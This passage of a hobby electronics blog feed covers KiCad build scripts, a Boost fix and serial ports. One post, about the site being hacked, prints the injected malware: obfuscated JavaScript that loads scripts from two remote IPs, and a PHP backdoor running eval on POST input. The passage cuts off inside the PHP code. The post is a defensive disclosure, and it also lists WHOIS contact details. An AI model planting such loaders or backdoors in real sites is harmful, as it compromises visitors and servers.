(SBR + PS); WMA 4.0/4.1/7/8/9 all proﬁles (5-384 kbps); WAV (PCM + IMA ADPCM); General MIDI 1 / SP-MIDI format 0 ﬁles &lt;/blockquote&gt;&lt;br /&gt;&lt;li&gt; ButterflyMP3 firmware updates&lt;ul&gt;&lt;br /&gt;   &lt;li&gt; Add a simple LED based display. One LED lights up to indicate the track playing. Currently limited to 21 LEDs.&lt;br /&gt;   &lt;li&gt; A simple Matrix keypad for music store "listening post"  style operation. multiplexed on LED lines. Currently limited to 21 buttons. One button will trigger a track to be played.&lt;br /&gt;   &lt;li&gt; Scrolling LED Matrix support. This is for my LED matrix project above if I ever finish it.&lt;/ul&gt;&lt;br /&gt;&lt;li&gt; Butterfly Logger firmware updates &lt;ul&gt;&lt;br /&gt;  &lt;li&gt; support GPS logging&lt;br /&gt;  &lt;li&gt; support wireless sensors&lt;/ul&gt;&lt;br /&gt;&lt;li&gt; The Glitch. A small device that goes inline with low voltage DC wall wart and switches it off and then on again once a day. (I bought a cheap router that needs a hard reset every so often.) &lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;Plus some white LED based low power  kitchen lighting, playing around with &lt;a href="http://www.david-laserscanner.com/"&gt;3D scanning&lt;/a&gt; and of course the online shop which I have been doing absolutly nothing on for the past couple of months.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-6058465942693837868?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/6058465942693837868/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=6058465942693837868' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6058465942693837868'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6058465942693837868'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2009/06/whats-on-my-bench-at-moment.html' title='Whats on my bench at the moment....'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_zYnUjlpmq30/SjzPAeRRu9I/AAAAAAAAABk/mokd4PxJmoE/s72-c/IMG_9904.JPG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-2652697820302474968</id><published>2009-05-29T16:27:00.003+01:00</published><updated>2009-05-29T16:33:57.051+01:00</updated><title type='text'>Kicad OSX nightlies fixed again.</title><content type='html'>Got my kicad builds sorted again. finally got the make command right to work with the boost library. I've updated to the latest (1.39) and everything seems to be going well.&lt;br /&gt;&lt;br /&gt;My nightly make script  now looks like this....&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;#update from svn&lt;br /&gt;cd /temp/kicad-sources&lt;br /&gt;svn up &lt;br /&gt;new_version=`svn info | grep Revision | cut -f 2 -d\ `&lt;br /&gt;old_version=`cat /temp/install/version.txt`&lt;br /&gt;if [ $new_version -gt $old_version ]&lt;br /&gt;then&lt;br /&gt; &lt;br /&gt; #build it&lt;br /&gt; cd build/release&lt;br /&gt; cmake ../../ -DwxWidgets_CONFIG_EXECUTABLE="/usr/local/bin/wx-config" -DwxWidgets_ROOT_DIR="/usr/local/include/wx-2.8" -DCMAKE_INSTALL_PREFIX=/temp/install -DBoost_INCLUDE_DIR=/temp/kicad-sources -DCMAKE_OSX_ARCHITECTURES="ppc -arch i386" -DCMAKE_CXX_FLAGS="-D__ASSERTMACROS__"&lt;br /&gt;&lt;br /&gt;# make clean &lt;br /&gt; if  make &gt; /temp/kicad_errors-${new_version}.txt 2&gt;&gt; /temp/kicad_errors-${new_version}.txt &amp;&amp; make install &lt;br /&gt; then&lt;br /&gt;   file=kicad_osx_v${new_version}&lt;br /&gt;  echo $new_version &gt; /temp/install/version.txt &lt;br /&gt;  mv /temp/kicad_errors-${new_version}.txt /temp/install/build_log.txt &lt;br /&gt;       &lt;br /&gt;           &lt;br /&gt;  #bundle&lt;br /&gt;  cd /temp/&lt;br /&gt;  cp -rf install ${file}  &lt;br /&gt;  tar -czf ${file}.tgz ${file} &lt;br /&gt;&lt;br /&gt;  #upload&lt;br /&gt;  curl -T ${file}.tgz  ftp://username:password@ftp.brokentoaster.com/&lt;br /&gt;  rm -rf ${file} &lt;br /&gt;  &lt;br /&gt;#  cd /temp/kicad-sources/build/release/  &lt;br /&gt; # /Developer/usr/bin/packagemaker --doc osx-package.pmdoc --title 'Kicad' -o ${file}.mpkg &lt;br /&gt; # curl -T ${file}.mpkg ftp://username:password@ftp.brokentoaster.com/&lt;br /&gt;  &lt;br /&gt; else&lt;br /&gt;  curl -T /temp/kicad_errors-${new_version}.txt  ftp://username:password@ftp.brokentoaster.com/&lt;br /&gt; fi&lt;br /&gt; &lt;br /&gt; # go to sleep &lt;br /&gt; open /Users/nick/Applications/SleepNow&lt;br /&gt;else&lt;br /&gt; echo "Kicad is uptodate :) "&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-2652697820302474968?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/2652697820302474968/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=2652697820302474968' title='19 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/2652697820302474968'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/2652697820302474968'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2009/05/kicad-osx-nightlies-fixed-again.html' title='Kicad OSX nightlies fixed again.'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>19</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-1447484732613783086</id><published>2009-03-13T07:16:00.004Z</published><updated>2009-03-13T07:26:39.848Z</updated><title type='text'>/dev/cu vs /dev/tty ( osx serial ports)</title><content type='html'>A while ago someone told me to use /dev/cu.usbserial rather than /dev/tty.usbserial as the former did not require hardware handshaking. I was looking for this justification again as my memory had gone a little hazey on the exact reason for using cu over tty. I found the following at &lt;a href="http://lists.berlios.de/pipermail/gpsd-dev/2005-April/001288.html"&gt; http://lists.berlios.de/pipermail/gpsd-dev/2005-April/001288.html&lt;/a&gt;.  Thought it a good thing to know and thought I'd remember it here for next time.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;"The idea is to supplement software in sharing a line between incoming and outgoing calls.  The callin device (typically /dev/tty*) is used for incoming traffic.  Any process trying to open it blocks within the open() call as long as DCD is not asserted by hardware (i.e. as long as the modem doesn't have a carrier).  During this, the callout device (typically /dev/cu* -- cu stands for "calling unit") can be freely used.  Opening /dev/cu* doesn't require DCD to be asserted and&lt;br /&gt;succeeds immediately.  Once succeeded, the blocked open() on the callin device will be suspended, and cannot even complete when DCD is raised, until the cu device is closed again.&lt;br /&gt;&lt;br /&gt;That way, you can have a getty listening on /dev/tty*, and can still use /dev/cu* without restrictions."&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;So this is what I use when programming with AVRDude as the butterfly doesn't have any DCD/DTR lines to assert. Its just TX, RX, and GND. If you have problems on the mac using a tty serial port you should try its cu equivalent.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-1447484732613783086?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/1447484732613783086/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=1447484732613783086' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/1447484732613783086'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/1447484732613783086'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2009/03/devcu-vs-devtty-osx-serial-ports.html' title='/dev/cu vs /dev/tty ( osx serial ports)'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-4611108057582247336</id><published>2009-03-09T07:20:00.002Z</published><updated>2009-03-09T07:29:18.566Z</updated><title type='text'>GEDA portfiles</title><content type='html'>Now I've got kicad building again ( although rather bloated at 20Mb ) I thought I'd have a play with some other items on my todo list. I've manage to get most of the GEDA suite working on the mac and have created portfiles for mac ports to be able to install them. I haven't got gwave to work yet due to some dependances and some of the installs needed to be forced to overwrite some other files but in general they seem to work. I hope to add kicad as a port file in the near future but I will see if I can get these programs to work first.&lt;br /&gt;&lt;br /&gt;In doing this I noticed a few messages regarding others trying to get port files up for gEDA on the mac so I assume they will make it into the main ports tree at some time in the near future.&lt;br /&gt;&lt;br /&gt;To use my files you can browse them at http://www.brokentoaster.com/macports/ or download them all at http://www.brokentoaster.com/macports/ports.zip.&lt;br /&gt;&lt;br /&gt;First you will need to extract the files into a local directory such as &lt;span style="font-style:italic;"&gt;/users/me/ports&lt;/span&gt;. Then you will need to add &lt;span style="font-style:italic;"&gt;/users/me/ports&lt;/span&gt; to the &lt;span style="font-style:italic;"&gt;/opt/local/etc/macports/sources.conf&lt;/span&gt; file. The last action is to run the command portindex from your newly created ports directory to ensure the index is up to date.&lt;br /&gt;&lt;br /&gt;If these are of any use to you then enjoy. Good luck.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-4611108057582247336?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.brokentoaster.com/macports/' title='GEDA portfiles'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/4611108057582247336/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=4611108057582247336' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/4611108057582247336'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/4611108057582247336'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2009/03/geda-portfiles.html' title='GEDA portfiles'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-4642027036470897099</id><published>2009-02-25T21:53:00.005Z</published><updated>2009-02-25T22:18:09.524Z</updated><title type='text'>Kicad OSX nightlies fixed</title><content type='html'>I finally decided to investigate why kicad had stopped building back in Decemember. I had initially thought it was to do with large changes to the source being done at that time or with my trying to get a newer build of wxMac to work with it properly.&lt;br /&gt;I turns out I updated the Boost library and that was what was causing my builds to fail.&lt;br /&gt;&lt;br /&gt;Somewhere on the mac a "check" macro gets defined. Apparently this is if "DEBUG" is defined somewhere but I could not figure out where or why this was going on (see &lt;a href="http://lists.trolltech.com/qt-interest/2007-06/msg01111.html"&gt;this&lt;/a&gt; post.  I decided to simply modify the boost files concerned to work aroaund this problem. By renaming the "check" function and its called I was able to get kicad compiling again. Sadly it does not fix the serious flaws in wxmacs graphics implimentation ie. the fact that it does not do XOR draws properly.Anyway here are the diffs I made&lt;br /&gt;&lt;br /&gt;fixing kicad again for th mac&lt;br /&gt;/temp/kicad-sources/boost/ptr_container/detail/static_move_ptr.hpp:&lt;br /&gt;line 155: check renamed to check_&lt;br /&gt;&lt;br /&gt;4 changes in /temp/kicad-sources/boost/detail/is_incrementable.hppcheck "check(" replaced with "check_("&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;boost/ptr_container/detail/static_move_ptr.hpp &lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;% diff /temp/boost_1_37_0/boost/ptr_container/detail/static_move_ptr.hpp &lt;br /&gt;/temp/kicad-sources/boost/ptr_container/detail/static_move_ptr.hpp &lt;br /&gt;&lt;pre&gt;&lt;br /&gt;154c155&lt;br /&gt;&lt;     void check(const static_move_ptr&lt;TT, DD&gt;&amp; ptr)&lt;br /&gt;---&lt;br /&gt;&gt;     void check_(const static_move_ptr&lt;TT, DD&gt;&amp; ptr)&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;boost/detail/is_incrementable.hpp &lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;% diff /temp/boost_1_37_0/boost/detail/is_incrementable.hpp &lt;br /&gt;/temp/kicad-sources/boost/detail/is_incrementable.hpp &lt;br /&gt;&lt;pre&gt;&lt;br /&gt;68c68&lt;br /&gt;&lt;   char (&amp; check(tag) )[2];&lt;br /&gt;---&lt;br /&gt;&gt;   char (&amp; check_(tag) )[2];&lt;br /&gt;71c71&lt;br /&gt;&lt;   char check(T const&amp;);&lt;br /&gt;---&lt;br /&gt;&gt;   char check_(T const&amp;);&lt;br /&gt;81c81&lt;br /&gt;&lt;         , value = sizeof(is_incrementable_::check(BOOST_comma(++x,0))) == 1&lt;br /&gt;---&lt;br /&gt;&gt;         , value = sizeof(is_incrementable_::check_(BOOST_comma(++x,0))) == 1&lt;br /&gt;92c92&lt;br /&gt;&lt;         , value = sizeof(is_incrementable_::check(BOOST_comma(x++,0))) == 1&lt;br /&gt;---&lt;br /&gt;&gt;         , value = sizeof(is_incrementable_::check_(BOOST_comma(x++,0))) == 1&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The error I was getting was the following&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;In file included from /temp/kicad-sources/boost_1_38_0/boost/ptr_container/detail/reversible_ptr_container.hpp:22In file included from /temp/kicad-sources/boost_1_38_0/boost/ptr_container/detail/reversible_ptr_container.hpp:22,&lt;br /&gt;                 from /temp/kicad-sources/boost_1_38_0/boost/ptr_container/ptr_sequence_adapter.hpp:20,&lt;br /&gt;                 from /temp/kicad-sources/boost_1_38_0/boost/ptr_container/ptr_vector.hpp:20,&lt;br /&gt;                 from /temp/kicad-sources/kicad/include/board_item_struct.h:9,&lt;br /&gt;                 from /temp/kicad-sources/kicad/include/pcbstruct.h:10,&lt;br /&gt;                 from /temp/kicad-sources/kicad/3d-viewer/3d_viewer.h:29,&lt;br /&gt;                 from /temp/kicad-sources/kicad/3d-viewer/3d_aux.cpp:23:&lt;br /&gt;/temp/kicad-sources/boost_1_38_0/boost/ptr_container/detail/static_move_ptr.hpp:154:50: error: macro "check" passed 2 arguments, but takes just 1&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;I have now updated my automagic build script to upload the error log if It doesn't compile.&lt;br /&gt;&lt;br /&gt;All of my  builds are still found at &lt;a href="http://www.brokentoaster.com/kicad/"&gt;http://www.brokentoaster.com/kicad/&lt;/a&gt; and should be universal apps. If anyone has had any success with wxCocoa or other builds I'd be happy to add them to my build list.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-4642027036470897099?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.brokentoaster.com/kicad/' title='Kicad OSX nightlies fixed'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/4642027036470897099/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=4642027036470897099' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/4642027036470897099'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/4642027036470897099'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2009/02/kicad-osx-nightlies-fixed.html' title='Kicad OSX nightlies fixed'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-2138669386510097782</id><published>2009-01-23T19:03:00.003Z</published><updated>2009-01-23T19:13:50.509Z</updated><title type='text'>Litebox and google checkout</title><content type='html'>Just putting some finishing touches on my webshop for its opening in Februrary 2009. While doing this I noticed that the Google checkout shopping cart broke the Litebox scripts I had for viewing photo closeups.&lt;br /&gt;Did some snooping about the net and looked at other sites that used lightbox and google checkout and found the following snippet that seems to fix things.&lt;br /&gt;&lt;br /&gt;just add this to the end of your shop page to fix or alternatively fix the litebox/lightbox engine ( i'm too lazy so I thought I'd post this so someone else might do it ;)&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;br /&gt;&amp;lt;!-- GOOGLE CHECKOUT/LIGHTBOX FIX --&amp;gt;&lt;br /&gt;&amp;lt;script type="text/javascript"&amp;gt;&lt;br /&gt;if(window.attachEvent &amp;amp;&amp;amp; !window.addEventListener)&lt;br /&gt;document.attachEvent('onclick', function(){&lt;br /&gt;var s = window.event.srcElement;&lt;br /&gt;if((s.rel &amp;amp;&amp;amp; /^lightbox/.test(s.rel)) || (s.parentNode &amp;amp;&amp;amp;&lt;br /&gt;s.parentNode.rel &amp;amp;&amp;amp; /^lightbox/.test(s.parentNode.rel)))&lt;br /&gt;return false;&lt;br /&gt;});&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;!-- GOOGLE CHECKOUT/LIGHTBOX FIX --&amp;gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-2138669386510097782?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/2138669386510097782/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=2138669386510097782' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/2138669386510097782'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/2138669386510097782'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2009/01/litebox-and-google-checkout.html' title='Litebox and google checkout'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-7262657374822112650</id><published>2008-12-18T22:14:00.009Z</published><updated>2008-12-21T18:40:14.890Z</updated><title type='text'>Hacked... again....</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://brokentoaster.com/images/picture4.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 252px; height: 253px;" src="http://brokentoaster.com/images/picture4.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Hackers claiming to be Muslims from Turkey hacked the site the other day so I've just spent the evening reloading most of the files form backup. Although only a couple of files were visibly changed almost every html file and random PHP files had code inserted which caused any number of unknown activities.&lt;br /&gt;&lt;br /&gt;What I don't understand is that if you are going to go to the trouble of hacking a site and then to stealthily insert code which obviously does some sort of action  of benefit to the perpetrator, why would you write your name on the index page as a red flag to say this site has been hacked? Surely  If I was a hacker I would just insert the code quietly and then nobody would know it was their unless they did a full site compare. Unless you wanted a site to look like it had been hacked by someone else..... hmmmm &lt;br /&gt;&lt;br /&gt;Anyway I'm off to review my file permissions and php code across the site... and sift through some log files ;)&lt;br /&gt;&lt;br /&gt;[EDIT:] Here is the javascript code that was pacthed into all my webpages. I have renamed the 'eval' function to disable the action and broken into lines&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;br /&gt;if(typeof(yahoo_counter)!=typeof(1))evalDISABLED(unescape('%2F%2F%3Cdi%76#%20!%73|%74%79%6C%65%3D$&lt;br /&gt;%64%69~%73`%70l@%61y`%3A`n$%6F`%6E|e%3E\n#do#%63$%75!%6D%65$%6E|%74`%2E%77#%72i@%74%65%28$%22%3C&lt;br /&gt;%2F%74|%65%78%74a#%72e&amp;a|%3E")%3B%76`%61@r%20i|%2C%5F|%2C%61@%3D%5B#%2278|.|1&amp;%310%2E@17@5`%2E&amp;%321&lt;br /&gt;!%22~,%2219!%35~.&amp;2#4~.%37!6`.2#%35!1"@%5D~;_%3D%31~%3Bi@f$%28%64&amp;%6F%63&amp;%75&amp;%6D%65n&amp;t.c&amp;%6F#ok%69&lt;br /&gt;%65.%6D`a%74#c`%68~(%2F%5C$%62#hg#%66%74%3D#1/&amp;%29=~%3D%6E#u@%6C`l%29!f%6Fr&amp;%28$%69&amp;=|%30%3B#&lt;br /&gt;%69#%3C%32%3B!i|%2B!+#%29doc&amp;%75%6D#%65&amp;%6Et%2Ew&amp;%72%69!t#e@(#"!%3C%73|cr#i%70t%3E`%69!%66~(#_%29$&lt;br /&gt;%64@%6Fcu~%6D@e%6E|t%2E%77`rit%65%28%5C%22!%3C#%73%63%72!ip&amp;t%20~id=%5F&amp;"%2Bi!+"_`%20s`%72c=//%22~&lt;br /&gt;+`%61@%5B$%69%5D`+#%22#/%63`%70$%2F%3F&amp;%22&amp;%2B@n$%61%76$%69%67`%61%74!%6F`r#%2Eap!%70#%4E`%61!&lt;br /&gt;m&amp;e!.&amp;%63&amp;h`%61!rA%74!(0`)@%2B"%3E%3C~%5C%5C%2F!%73%63r!%69%70!t!%3E#%5C"&amp;)~%3C%5C/s`%63ri%70%74%3E$&lt;br /&gt;%22%29@;\n%2F@/&amp;%3C%2F%64|%69%76#%3E').replace(/#|\!|@|~|`|\&amp;|\$|\|/g,""));var yahoo_counter=1;&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The un-obfuscated version is as follows&lt;br /&gt;&lt;blockquote&gt;&lt;p&gt;//&amp;lt;div style=display:none&amp;gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;document.write("&amp;lt;/textarea&amp;gt;");var i,_,a=["78.110.175.21","195.24.76.251"];&lt;br /&gt;_=1;&lt;br /&gt;if(document.cookie.match(/\bhgft=1/)==null)&lt;br /&gt;for(i=0;i&amp;lt;2;i++)document.write("&amp;lt;script&amp;gt;if(_)document.write(\"&amp;lt;script id=_"+i+"_ &lt;br /&gt;src=//"+a[i]+"/cp/?"+navigator.appName.charAt(0)+"&amp;gt;&amp;lt;\\/script&amp;gt;\")&amp;lt;\/script&amp;gt;");&lt;/p&gt;&lt;br /&gt;&lt;p class="p1"&gt;//&amp;lt;/div&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Those two IP addresses are managed by &lt;br /&gt;&lt;pre&gt;&lt;br /&gt;person:         Alexander A Solovyov&lt;br /&gt;address:        LIMT Group Ltd.&lt;br /&gt;address:        Karpinskogo 97a&lt;br /&gt;address:        Moscow&lt;br /&gt;address:        111423&lt;br /&gt;address:        Russian Federation&lt;br /&gt;phone:          +7 342 2763167&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;and&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;person:         Andy BIERLAIR&lt;br /&gt;address:        root eSolutions&lt;br /&gt;address:        35, rue John F. Kennedy&lt;br /&gt;address:        L-7327 Steinsel&lt;br /&gt;phone:          +352 20.500&lt;br /&gt;fax-no:         +352 20.500.500&lt;br /&gt;nic-hdl:        AB99-RIPE&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The PHP pages were tagged with &lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;if(!function_exists('tmp_lkojfghx')){for($i=1;$i&amp;lt;100;$i++)if(is_file($f='/tmp/m'.$i)){include_once($f);break;}if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwd&lt;br /&gt;CBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gWWFob28hIENvdW50ZXIgc3RhcnRzIAppZih0eXBlb2YoeWFob29fY291bnRlcikhPXR5c&lt;br /&gt;GVvZigxKSlldmFsKHVuZXNjYXBlKCclMkYlMkYlM0NkaSU3NiMlMjAhJTczfCU3NCU3OSU2QyU2NSUzRCQlNjQlNjl+JTczYCU3MGxAJ&lt;br /&gt;TYxeWAlM0FgbiQlNkZgJTZFfGUlM0VcbiNkbyMlNjMkJTc1ISU2RCU2NSQlNkV8JTc0YCUyRSU3NyMlNzJpQCU3NCU2NSUyOCQlMjIl&lt;br /&gt;M0MlMkYlNzR8JTY1JTc4JTc0YSMlNzJlJmF8JTNFIiklM0IlNzZgJTYxQHIlMjBpfCUyQyU1RnwlMkMlNjFAJTNEJTVCIyUyMjc4fC58MSYlM&lt;br /&gt;zEwJTJFQDE3QDVgJTJFJiUzMjEhJTIyfiwlMjIxOSElMzV+LiYyIzR+LiUzNyE2YC4yIyUzNSExIkAlNUR+O18lM0QlMzF+JTNCaUBmJCUyO&lt;br /&gt;CU2NCYlNkYlNjMmJTc1JiU2RCU2NW4mdC5jJiU2RiNvayU2OSU2NS4lNkRgYSU3NCNjYCU2OH4oJTJGJTVDJCU2MiNoZyMlNjYlNzQl&lt;br /&gt;M0QjMS8mJTI5PX4lM0QlNkUjdUAlNkNgbCUyOSFmJTZGciYlMjgkJTY5Jj18JTMwJTNCIyU2OSMlM0MlMzIlM0IhaXwlMkIhKyMlMjlkb2&lt;br /&gt;MmJTc1JTZEIyU2NSYlNkV0JTJFdyYlNzIlNjkhdCNlQCgjIiElM0MlNzN8Y3IjaSU3MHQlM0VgJTY5ISU2Nn4oI18lMjkkJTY0QCU2RmN1fi&lt;br /&gt;U2REBlJTZFfHQlMkUlNzdgcml0JTY1JTI4JTVDJTIyISUzQyMlNzMlNjMlNzIhaXAmdCUyMH5pZD0lNUYmIiUyQmkhKyJfYCUyMHNgJTc&lt;br /&gt;yYz0vLyUyMn4rYCU2MUAlNUIkJTY5JTVEYCsjJTIyIy8lNjNgJTcwJCUyRiUzRiYlMjImJTJCQG4kJTYxJTc2JCU2OSU2N2AlNjElNzQhJTZG&lt;br /&gt;YHIjJTJFYXAhJTcwIyU0RWAlNjEhbSZlIS4mJTYzJmhgJTYxIXJBJTc0ISgwYClAJTJCIiUzRSUzQ34lNUMlNUMlMkYhJTczJTYzciElNjklNzAh&lt;br /&gt;dCElM0UjJTVDIiYpfiUzQyU1Qy9zYCU2M3JpJTcwJTc0JTNFJCUyMiUyOUA7XG4lMkZALyYlM0MlMkYlNjR8JTY5JTc2IyUzRScpLnJlcGx&lt;br /&gt;hY2UoLyN8XCF8QHx+fGB8XCZ8XCR8XHwvZywiIikpO3ZhciB5YWhvb19jb3VudGVyPTE7CjwhLS0gY291bnRlciBlbmQgLS0+PC9zY&lt;br /&gt;3JpcHQ+Cg=='));function tmp_lkojfghx($s){if($g=(bin2hex(substr($s,0,2))=='1f8b'))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#&amp;lt;script(.*?)&amp;lt;/script&amp;gt;#is',$s,$a))foreach($a[0] as 